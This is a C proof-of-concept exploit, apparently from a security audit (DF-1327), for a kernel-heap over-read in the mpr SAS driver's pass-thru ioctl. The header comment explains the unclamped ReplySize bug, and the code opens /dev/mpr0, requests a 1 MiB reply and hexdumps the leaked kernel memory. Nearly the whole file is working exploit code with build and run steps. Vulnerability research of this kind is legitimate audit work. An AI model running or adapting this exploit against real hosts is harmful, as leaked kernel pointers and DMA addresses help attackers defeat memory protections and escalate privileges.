DF-1327 / poc.c
/* * DF-1327 โ mpr_user_pass_thru kernel-heap info leak PoC. * * Bug: mpr_user.c:867-868 and :1093 do * copyout(cm->cm_reply, PTRIN(data->PtrReply), data->ReplySize); * where data->ReplySize is a fully user-controlled uint32_t. The actual * reply is rpl->MsgLength * 4 bytes (~96). The driver only *warns* when * sz > ReplySize (line 861/1087) โ it never clamps. Supplying ReplySize * much larger than the real reply makes copyout read ReplySize bytes out * of cm->cm_reply (a ~96-byte slot inside the reply_frames DMA pool), * leaking adjacent kernel heap (function pointers, DMA bus addresses, * command metadata). * * Trigger surface: open("/dev/mpr0") + ioctl(MPTIOCTL_PASS_THRU). * Device node is created by mpr_attach_user() at mpr_user.c:205 as * UID_ROOT/GID_OPERATOR 0640 โ i.e. needs operator-group membership AND * a present LSI SAS3+ HBA. No ioctl-level privilege check; mpr_open() * returns 0 unconditionally. * * REQUIRES HARDWARE: a real LSI/Avago/Broadcom SAS3/4 HBA (the mpr * driver attaches to PCI vendor 1000 SAS-Fusion devices). The QEMU * audit guest has NO such HBA, so /dev/mpr0 does not exist and the open * returns ENOENT. This PoC therefore cannot execute on the audit guest; * it is provided for hardware-equipped hosts. See VERDICT.md. * * Build: cc -o poc poc.c -Wall * Run: ./poc (as an operator-group user on an mpr-equipped host) */ #include <sys/ioctl.h> #include <sys/types.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* Mirror of kernel <dev/raid/mpr/mpr_ioctl.h> โ not installed under * /usr/include, so we reproduce the on-wire structures/commands here. */ #define MPTIOCTL ('I') typedef struct mpr_pass_thru { uint64_t PtrRequest; uint64_t PtrReply; uint64_t PtrData; uint32_t RequestSize; uint32_t ReplySize; /* <-- attacker-controlled */ uint32_t DataSize; uint32_t DataDirection; uint64_t PtrDataOut; uint32_t DataOutSize; uint32_t Timeout; } mpr_pass_thru_t; /* _IOWR('I', 4, struct mpr_pass_thru) โ sized to the struct above */ #define MPTIOCTL_PASS_THRU _IOWR(MPTIOCTL, 4, mpr_pass_thru_t) #define LEAK_SIZE (1024 * 1024) /* 1 MiB; ReplySize controls read length */ int main(void) { int fd = open("/dev/mpr0", O_RDWR); if (fd < 0) err(1, "open /dev/mpr0"); unsigned char *leak = calloc(1, LEAK_SIZE); if (!leak) err(1, "calloc"); /* Minimal MPI2 request header (Function = FW_DOWNLOAD placeholder). * The exact function does not matter to reach the vulnerable copyout; * the device simply needs to complete the command and populate * cm->cm_reply, which mpr always does. */ unsigned char req[64] = {0}; mpr_pass_thru_t pt; memset(&pt, 0, sizeof(pt)); pt.PtrRequest = (uint64_t)(uintptr_t)req; pt.PtrReply = (uint64_t)(uintptr_t)leak; pt.RequestSize = sizeof(req); pt.ReplySize = LEAK_SIZE; /* over-read primitive */ pt.DataSize = 0; pt.DataDirection = 1; /* READ */ pt.Timeout = 30; if (ioctl(fd, MPTIOCTL_PASS_THRU, &pt) < 0) err(1, "ioctl MPTIOCTL_PASS_THRU"); /* leak[] now contains LEAK_SIZE bytes copied from cm->cm_reply and * onward into the reply DMA pool. Hexdump the tail where kernel * pointers / DMA addresses are most likely to survive. */ fprintf(stderr, "[+] copyout completed; dumping first 256 bytes:\n"); for (int i = 0; i < 256; i += 16) { fprintf(stderr, "%04x ", i); for (int j = 0; j < 16; j++) fprintf(stderr, "%02x ", leak[i + j]); fprintf(stderr, "\n"); } close(fd); return 0; } |